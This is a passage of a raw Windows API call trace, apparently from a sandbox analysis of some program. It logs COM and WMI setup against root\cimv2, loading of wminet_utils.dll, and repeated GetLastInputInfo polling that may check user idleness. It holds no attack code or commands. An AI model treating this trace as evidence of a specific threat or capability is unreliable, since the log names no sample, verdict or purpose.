WbemDefPath:IUnknown:AddRef (This=0x4f9e1b8) returned 0x3 [0043.766] CoGetContextToken (in: pToken=0x52be6b0 | out: pToken=0x52be6b0) returned 0x0 [0043.766] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9e1b8, riid=0x740423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52be698 | out: ppvObject=0x52be698*=0x7af8b0) returned 0x0 [0043.766] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x7af8b0, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x52be6a0 | out: pCid=0x52be6a0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0043.766] WbemDefPath:IUnknown:Release (This=0x7af8b0) returned 0x3 [0043.766] CoGetContextToken (in: pToken=0x52be6a8 | out: pToken=0x52be6a8) returned 0x0 [0043.766] WbemDefPath:IUnknown:AddRef (This=0x4f9e1b8) returned 0x4 [0043.766] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9e1b8, riid=0x7409767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52be71c | out: ppvObject=0x52be71c*=0x0) returned 0x80004002 [0043.766] WbemDefPath:IUnknown:Release (This=0x4f9e1b8) returned 0x3 [0043.767] WbemDefPath:IUnknown:Release (This=0x4f9e1b8) returned 0x2 [0043.767] WbemDefPath:IUnknown:Release (This=0x4f9dc98) returned 0x0 [0043.767] WbemDefPath:IUnknown:Release (This=0x4f9e1b8) returned 0x1 [0043.767] SetEvent (hEvent=0x30c) returned 1 [0043.767] GetLastError () returned 0x36b7 Thread: id = 62 os_tid = 0xb80 [0042.127] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0042.130] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x552f1c0 | out: lpiid=0x552f1c0) returned 0x0 [0042.130] CoGetClassObject (in: rclsid=0x7cad84*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x740ca3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x552f128 | out: ppv=0x552f128*=0x4f9dc40) returned 0x0 [0042.130] WbemLocator:IUnknown:QueryInterface (in: This=0x4f9dc40, riid=0x741b7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x552ef58 | out: ppvObject=0x552ef58*=0x0) returned 0x80004002 [0042.131] WbemLocator:IClassFactory:CreateInstance (in: This=0x4f9dc40, pUnkOuter=0x0, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x552ef90 | out: ppvObject=0x552ef90*=0x4fa0fd8) returned 0x0 [0042.131] WbemLocator:IUnknown:QueryInterface (in: This=0x4fa0fd8, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x552ed34 | out: ppvObject=0x552ed34*=0x4fa0fd8) returned 0x0 [0042.131] WbemLocator:IUnknown:QueryInterface (in: This=0x4fa0fd8, riid=0x74164204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x552ecf0 | out: ppvObject=0x552ecf0*=0x0) returned 0x80004002 [0042.131] WbemLocator:IUnknown:AddRef (This=0x4fa0fd8) returned 0x3 [0042.131] CoGetContextToken (in: pToken=0x552eb7c | out: pToken=0x552eb7c) returned 0x0 [0042.131] WbemLocator:IUnknown:QueryInterface (in: This=0x4fa0fd8, riid=0x740423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x552eb64 | out: ppvObject=0x552eb64*=0x0) returned 0x80004002 [0042.132] CoGetContextToken (in: pToken=0x552eb74 | out: pToken=0x552eb74) returned 0x0 [0042.132] WbemLocator:IUnknown:AddRef (This=0x4fa0fd8) returned 0x4 [0042.132] WbemLocator:IUnknown:QueryInterface (in: This=0x4fa0fd8, riid=0x7409767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x552ebe8 | out: ppvObject=0x552ebe8*=0x0) returned 0x80004002 [0042.132] WbemLocator:IUnknown:Release (This=0x4fa0fd8) returned 0x3 [0042.132] WbemLocator:IUnknown:Release (This=0x4fa0fd8) returned 0x2 [0042.132] WbemLocator:IUnknown:Release (This=0x4f9dc40) returned 0x0 [0042.132] WbemLocator:IUnknown:Release (This=0x4fa0fd8) returned 0x1 [0042.132] CoGetContextToken (in: pToken=0x552f080 | out: pToken=0x552f080) returned 0x0 [0042.132] CoGetContextToken (in: pToken=0x552f040 | out: pToken=0x552f040) returned 0x0 [0042.132] WbemLocator:IUnknown:AddRef (This=0x4fa0fd8) returned 0x2 [0042.132] WbemLocator:IUnknown:QueryInterface (in: This=0x4fa0fd8, riid=0x552f0bc*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x552f0b8 | out: ppvObject=0x552f0b8*=0x4fa0fd8) returned 0x0 [0042.132] WbemLocator:IUnknown:Release (This=0x4fa0fd8) returned 0x2 [0042.133] WbemLocator:IUnknown:Release (This=0x4fa0fd8) returned 0x1 [0042.143] CoGetContextToken (in: pToken=0x552f0fc | out: pToken=0x552f0fc) returned 0x0 [0042.143] CoGetContextToken (in: pToken=0x552f0bc | out: pToken=0x552f0bc) returned 0x0 [0042.143] WbemDefPath:IUnknown:AddRef (This=0x4f9daa8) returned 0x2 [0042.143] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9daa8, riid=0x552f138*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x552f134 | out: ppvObject=0x552f134*=0x4f9daa8) returned 0x0 [0042.143] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x2 [0042.143] WbemDefPath:IUnknown:AddRef (This=0x4f9daa8) returned 0x3 [0042.143] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f9daa8, puCount=0x552f2b0 | out: puCount=0x552f2b0*=0x2) returned 0x0 [0042.143] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x2 [0042.143] WbemDefPath:IWbemPath:GetText (in: This=0x4f9daa8, lFlags=8, puBuffLength=0x552f2ac*=0x0, pszText=0x0 | out: puBuffLength=0x552f2ac*=0xf, pszText=0x0) returned 0x0 [0042.143] WbemDefPath:IWbemPath:GetText (in: This=0x4f9daa8, lFlags=8, puBuffLength=0x552f2ac*=0xf, pszText="00000000000000" | out: puBuffLength=0x552f2ac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0042.155] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x552e458, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e [0042.155] GetLastError () returned 0x0 [0042.157] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\\\wminet_utils.dll") returned 0x6a310000 [0042.248] GetProcAddress (hModule=0x6a310000, lpProcName="ResetSecurity") returned 0x6a311944 [0042.251] GetProcAddress (hModule=0x6a310000, lpProcName="SetSecurity") returned 0x6a311986 [0042.254] GetProcAddress (hModule=0x6a310000, lpProcName="BlessIWbemServices") returned 0x6a3119cc [0042.257] GetProcAddress (hModule=0x6a310000, lpProcName="BlessIWbemServicesObject") returned 0x6a311a1e [0042.278] GetProcAddress (hModule=0x6a310000, lpProcName="GetPropertyHandle") returned 0x6a311a70 [0042.281] GetProcAddress (hModule=0x6a310000, lpProcName="WritePropertyValue") returned 0x6a311a89 [0042.284] GetProcAddress (hModule=0x6a310000, lpProcName="Clone") returned 0x6a311aa2 [0042.286] GetProcAddress (hModule=0x6a310000, lpProcName="VerifyClientKey") returned 0x6a312270 [0042.289] GetProcAddress (hModule=0x6a310000, lpProcName="GetQualifierSet") returned 0x6a311d73 [0042.292] GetProcAddress (hModule=0x6a310000, lpProcName="Get") returned 0x6a311b96 [0042.295] GetProcAddress (hModule=0x6a310000, lpProcName="Put") returned 0x6a311b7a [0042.298] GetProcAddress (hModule=0x6a310000, lpProcName="Delete") returned 0x6a311bb5 [0042.301] GetProcAddress (hModule=0x6a310000, lpProcName="GetNames") returned 0x6a311bc8 [0042.304] GetProcAddress (hModule=0x6a310000, lpProcName="BeginEnumeration") returned 0x6a311be4 [0042.307] GetProcAddress (hModule=0x6a310000, lpProcName="Next") returned 0x6a311bf7 [0042.310] GetProcAddress (hModule=0x6a310000, lpProcName="EndEnumeration") returned 0x6a311c16 [0042.313] GetProcAddress (hModule=0x6a310000, lpProcName="GetPropertyQualifierSet") returned 0x6a311c26 [0042.315] GetProcAddress (hModule=0x6a310000, lpProcName="Clone") returned 0x6a311aa2 [0042.316] GetProcAddress (hModule=0x6a310000, lpProcName="GetObjectText") returned 0x6a311c3c [0042.318] GetProcAddress (hModule=0x6a310000, lpProcName="SpawnDerivedClass") returned 0x6a311c52 [0042.321] GetProcAddress (hModule=0x6a310000, lpProcName="SpawnInstance") returned 0x6a311c68 [0042.324] GetProcAddress (hModule=0x6a310000, lpProcName="CompareTo") returned 0x6a311c7e [0042.326] GetProcAddress (hModule=0x6a310000, lpProcName="GetPropertyOrigin") returned 0x6a311c94 [0042.329] GetProcAddress (hModule=0x6a310000, lpProcName="InheritsFrom") returned 0x6a311caa [0042.331] GetProcAddress (hModule=0x6a310000, lpProcName="GetMethod") returned 0x6a311cbd [0042.334] GetProcAddress (hModule=0x6a310000, lpProcName="PutMethod") returned 0x6a311cd9 [0042.337] GetProcAddress (hModule=0x6a310000, lpProcName="DeleteMethod") returned 0x6a311cf5 [0042.339] GetProcAddress (hModule=0x6a310000, lpProcName="BeginMethodEnumeration") returned 0x6a311d08 [0042.342] GetProcAddress (hModule=0x6a310000, lpProcName="NextMethod") returned 0x6a311d1b [0042.344] GetProcAddress (hModule=0x6a310000, lpProcName="EndMethodEnumeration") returned 0x6a311d37 [0042.347] GetProcAddress (hModule=0x6a310000, lpProcName="GetMethodQualifierSet") returned 0x6a311d47 [0042.349] GetProcAddress (hModule=0x6a310000, lpProcName="GetMethodOrigin") returned 0x6a311d5d [0042.352] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Get") returned 0x6a311d86 [0042.355] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Put") returned 0x6a311da2 [0042.358] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Delete") returned 0x6a311dbb [0042.360] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_GetNames") returned 0x6a311dce [0042.363] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_BeginEnumeration") returned 0x6a311de4 [0042.365] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Next") returned 0x6a311df7 [0042.369] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_EndEnumeration") returned 0x6a311e13 [0042.371] GetProcAddress (hModule=0x6a310000, lpProcName="GetCurrentApartmentType") returned 0x6a311d73 [0042.374] GetProcAddress (hModule=0x6a310000, lpProcName="GetDemultiplexedStub") returned 0x6a3118fd [0042.377] GetProcAddress (hModule=0x6a310000, lpProcName="CreateInstanceEnumWmi") returned 0x6a311580 [0042.380] GetProcAddress (hModule=0x6a310000, lpProcName="CreateClassEnumWmi") returned 0x6a3115f6 [0042.383] GetProcAddress (hModule=0x6a310000, lpProcName="ExecQueryWmi") returned 0x6a31169e [0042.387] GetProcAddress (hModule=0x6a310000, lpProcName="ExecNotificationQueryWmi") returned 0x6a311717 [0042.390] GetProcAddress (hModule=0x6a310000, lpProcName="PutInstanceWmi") returned 0x6a311790 [0042.393] GetProcAddress (hModule=0x6a310000, lpProcName="PutClassWmi") returned 0x6a311810 [0042.396] GetProcAddress (hModule=0x6a310000, lpProcName="CloneEnumWbemClassObject") returned 0x6a311890 [0042.399] GetProcAddress (hModule=0x6a310000, lpProcName="ConnectServerWmi") returned 0x6a3124b7 [0042.402] CoCreateInstance (in: rclsid=0x6a3113a0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6a3112d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x552ed88 | out: ppv=0x552ed88*=0x4f9dc58) returned 0x0 [0042.402] WbemLocator:IWbemLocator:ConnectServer (in: This=0x4f9dc58, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x552edd4 | out: ppNamespace=0x552edd4*=0x4f9dd7c) returned 0x0 [0042.415] WbemLocator:IUnknown:QueryInterface (in: This=0x4f9dd7c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x552eca4 | out: ppvObject=0x552eca4*=0x7d042c) returned 0x0 [0042.416] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x7d042c, pProxy=0x4f9dd7c, pAuthnSvc=0x552ecec, pAuthzSvc=0x552ece8, pServerPrincName=0x552ecf8, pAuthnLevel=0x552ecf0, pImpLevel=0x552ecdc, pAuthInfo=0x552ece0, pCapabilites=0x552ece4 | out: pAuthnSvc=0x552ecec*=0xa, pAuthzSvc=0x552ece8*=0x0, pServerPrincName=0x552ecf8, pAuthnLevel=0x552ecf0*=0x6, pImpLevel=0x552ecdc*=0x2, pAuthInfo=0x552ece0, pCapabilites=0x552ece4*=0x1) returned 0x0 [0042.416] WbemLocator:IUnknown:Release (This=0x7d042c) returned 0x1 [0042.416] WbemLocator:IUnknown:QueryInterface (in: This=0x4f9dd7c, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x552ec98 | out: ppvObject=0x552ec98*=0x7d044c) returned 0x0 [0042.416] WbemLocator:IUnknown:QueryInterface (in: This=0x4f9dd7c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x552ec94 | out: ppvObject=0x552ec94*=0x7d042c) returned 0x0 [0042.416] WbemLocator:IClientSecurity:SetBlanket (This=0x7d042c, pProxy=0x4f9dd7c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0042.416] WbemLocator:IUnknown:Release (This=0x7d042c) returned 0x2 [0042.416] WbemLocator:IUnknown:Release (This=0x7d044c) returned 0x1 [0042.416] CoTaskMemFree (pv=0x79e708) [0042.416] WbemLocator:IUnknown:Release (This=0x4f9dc58) returned 0x0 [0042.416] WbemLocator:IUnknown:QueryInterface (in: This=0x4f9dd7c, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x552e654 | out: ppvObject=0x552e654*=0x7d044c) returned 0x0 [0042.416] WbemLocator:IUnknown:QueryInterface (in: This=0x7d044c, riid=0x74164204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x552e610 | out: ppvObject=0x552e610*=0x0) returned 0x80004002 [0042.417] WbemLocator:IUnknown:QueryInterface (in: This=0x7d044c, riid=0x74090b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x552e504 | out: ppvObject=0x552e504*=0x0) returned 0x80004002 [0042.417] WbemLocator:IUnknown:AddRef (This=0x7d044c) returned 0x3 [0042.417] CoGetContextToken (in: pToken=0x552e49c | out: pToken=0x552e49c) returned 0x0 [0042.417] WbemLocator:IUnknown:QueryInterface (in: This=0x7d044c, riid=0x740423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x552e484 | out: ppvObject=0x552e484*=0x7d03ac) returned 0x0 [0042.417] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x7d03ac, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x552e48c | out: pCid=0x552e48c*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0042.417] WbemLocator:IUnknown:Release (This=0x7d03ac) returned 0x3 [0042.417] CoGetContextToken (in: pToken=0x552e494 | out: pToken=0x552e494) returned 0x0 [0042.417] WbemLocator:IUnknown:AddRef (This=0x7d044c) returned 0x4 [0042.417] WbemLocator:IUnknown:QueryInterface (in: This=0x7d044c, riid=0x7409767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x552e508 | out: ppvObject=0x552e508*=0x7d0434) returned 0x0 [0042.418] WbemLocator:IUnknown:Release (This=0x7d044c) returned 0x4 [0042.418] WbemLocator:IRpcOptions:Query (in: This=0x7d0434, pPrx=0x7d044c, dwProperty=2, pdwValue=0x552e52c | out: pdwValue=0x552e52c) returned 0x80004002 [0042.418] WbemLocator:IUnknown:Release (This=0x7d0434) returned 0x3 [0042.418] WbemLocator:IUnknown:Release (This=0x7d044c) returned 0x2 [0042.418] CoGetContextToken (in: pToken=0x552e908 | out: pToken=0x552e908) returned 0x0 [0042.418] CoGetContextToken (in: pToken=0x552e8c8 | out: pToken=0x552e8c8) returned 0x0 [0042.418] WbemLocator:IUnknown:AddRef (This=0x7d044c) returned 0x3 [0042.418] WbemLocator:IUnknown:QueryInterface (in: This=0x7d044c, riid=0x552e944*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x552e940 | out: ppvObject=0x552e940*=0x4f9dd7c) returned 0x0 [0042.418] WbemLocator:IUnknown:Release (This=0x7d044c) returned 0x3 [0042.418] WbemLocator:IUnknown:Release (This=0x4f9dd7c) returned 0x2 [0042.418] WbemLocator:IUnknown:Release (This=0x4f9dd7c) returned 0x1 [0042.419] CoUninitialize () Thread: id = 63 os_tid = 0xb84 Thread: id = 64 os_tid = 0xb88 [0042.430] CoGetContextToken (in: pToken=0x51aeff4 | out: pToken=0x51aeff4) returned 0x0 [0042.430] CoGetContextToken (in: pToken=0x51aefe4 | out: pToken=0x51aefe4) returned 0x0 [0042.430] CoGetMarshalSizeMax (in: pulSize=0x51aefb0, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x7d044c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0 | out: pulSize=0x51aefb0) returned 0x0 [0042.430] CoMarshalInterface (pStm=0x7cafb0, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x7d044c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 Thread: id = 65 os_tid = 0xb90 Thread: id = 66 os_tid = 0xb94 [0048.861] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0048.865] ResetEvent (hEvent=0x328) returned 1 [0048.865] GetLastError () returned 0x0 Thread: id = 67 os_tid = 0xbb8 [0053.093] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0053.120] CoUninitialize () Thread: id = 68 os_tid = 0xbbc [0053.133] CoGetContextToken (in: pToken=0x601fde4 | out: pToken=0x601fde4) returned 0x0 [0053.133] IUnknown:QueryInterface (in: This=0x7795c8, riid=0x74163ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x601fe18 | out: ppvObject=0x601fe18*=0x7795d4) returned 0x0 [0053.133] IComThreadingInfo:GetCurrentThreadType (in: This=0x7795d4, pThreadType=0x601fe4c | out: pThreadType=0x601fe4c*=0) returned 0x0 [0053.133] IUnknown:Release (This=0x7795d4) returned 0x1 [0053.133] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 69 os_tid = 0xbc0 [0053.136] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0053.143] CoUninitialize () Thread: id = 70 os_tid = 0xbc4 [0054.179] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0054.186] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x61df720 | out: lpSystemTimeAsFileTime=0x61df720*(dwLowDateTime=0xebedc170, dwHighDateTime=0x1d54023)) [0054.206] GetLastInputInfo (in: plii=0x25e2b68 | out: plii=0x25e2b68) returned 1 [0055.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x61df720 | out: lpSystemTimeAsFileTime=0x61df720*(dwLowDateTime=0xec8adc30, dwHighDateTime=0x1d54023)) [0055.208] GetLastInputInfo (in: plii=0x25e1f00 | out: plii=0x25e1f00) returned 1 [0056.418] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x61df720 | out: lpSystemTimeAsFileTime=0x61df720*(dwLowDateTime=0xed259590, dwHighDateTime=0x1d54023)) [0056.418] GetLastInputInfo (in: plii=0x25e1f00 | out: plii=0x25e1f00) returned 1 [0057.470] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x61df720 | out: lpSystemTimeAsFileTime=0x61df720*(dwLowDateTime=0xedc77310, dwHighDateTime=0x1d54023)) [0057.470] GetLastInputInfo (in: plii=0x25e1f00 | out: plii=0x25e1f00) returned 1 [0058.701] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x61df720 | out: lpSystemTimeAsFileTime=0x61df720*(dwLowDateTime=0xee622c70, dwHighDateTime=0x1d54023)) [0058.702] GetLastInputInfo (in: plii=0x25e1f00 | out: plii=0x25e1f00) returned 1 [0059.715] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x61df720 | out: lpSystemTimeAsFileTime=0x61df720*(dwLowDateTime=0xeefce5d0, dwHighDateTime=0x1d54023)) [0059.715] GetLastInputInfo (in: plii=0x25e1f00 | out: plii=0x25e1f00) returned 1 [0060.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x61df720 | out: lpSystemTimeAsFileTime=0x61df720*(dwLowDateTime=0xef979f30, dwHighDateTime=0x1d54023)) [0060.729] GetLastInputInfo (in: plii=0x25e1f00 | out: plii=0x25e1f00) returned 1 [0061.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x61df720 | out: lpSystemTimeAsFileTime=0x61df720*(dwLowDateTime=0xf0325890, dwHighDateTime=0x1d54023)) [0061.744] GetLastInputInfo (in: plii=0x25e1f00 | out: plii=0x25e1f00) returned 1 [0062.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x61df720 | out: lpSystemTimeAsFileTime=0x61df720*(dwLowDateTime=0xf0cd11f0, dwHighDateTime=0x1d54023)) [0062.757] GetLastInputInfo (in: plii=0x25e1f00 | out: plii=0x25e1f00) returned 1 [0063.771] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x61df720 | out: lpSystemTimeAsFileTime=0x61df720*(dwLowDateTime=0xf167cb50, dwHighDateTime=0x1d54023)) [0063.771] GetLastInputInfo (in: plii=0x25e1f00 | out: plii=0x25e1f00) returned 1 [0064.785] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x61df720 | out: lpSystemTimeAsFileTime=0x61df720*(dwLowDateTime=0xf20284b0, dwHighDateTime=0x1d54023)) [0064.785] GetLastInputInfo (in: plii=0x25e1f00 | out: plii=0x25e1f00) returned 1 [0066.173] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x61df720 | out: lpSystemTimeAsFileTime=0x61df720*(dwLowDateTime=0xf2a200d0, dwHighDateTime=0x1d54023)) [0066.173] GetLastInputInfo (in: plii=0x25e1f00 | out: plii=0x25e1f00) returned 1 [0067.187] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x61df720 | out: lpSystemTimeAsFileTime=0x61df720*(dwLowDateTime=0xf33cba30, dwHighDateTime=0x1d54023)) [0067.187] GetLastInputInfo (in: plii=0x25e1f00 | out: plii=0x25e1f00) returned 1 [0068.201] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x61df720 | out: lpSystemTimeAsFileTime=0x61df720*(dwLowDateTime=0xf3d77390, dwHighDateTime=0x1d54023)) [0068.201] GetLastInputInfo (in: plii=0x25e1f00 | out: plii=0x25e1f00) returned 1 [0069.236] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x61df720 | out: lpSystemTimeAsFileTime=0x61df720*(dwLowDateTime=0xf4748e50, dwHighDateTime=0x1d54023)) [0069.236] GetLastInputInfo (in: plii=0x25e1f00 | out: plii=0x25e1f00) returned 1 [0070.256] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x61df720 | out: lpSystemTimeAsFileTime=0x61df720*(dwLowDateTime=0xf50f47b0, dwHighDateTime=0x1d54023)) [0070.256] GetLastInputInfo (in: plii=0x25e1f00 | out: plii=0x25e1f00) returned 1 [0071.275] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x61df720 | out: lpSystemTimeAsFileTime=0x61df720*(dwLowDateTime=0xf5aa0110, dwHighDateTime=0x1d54023)) [0071.276] GetLastInputInfo (in: plii=0x25e1f00 | out: plii=0x25e1f00) returned 1 [0072.288] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x61df720 | out: lpSystemTimeAsFileTime=0x61df720*(dwLowDateTime=0xf644ba70, dwHighDateTime=0x1d54023)) [0072.288] GetLastInputInfo (in: plii=0x25e1f00 | out: plii=0x25e1f00) returned 1 [0073.494] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x61df720 | out: lpSystemTimeAsFileTime=0x61df720*(dwLowDateTime=0xf6fc0450, 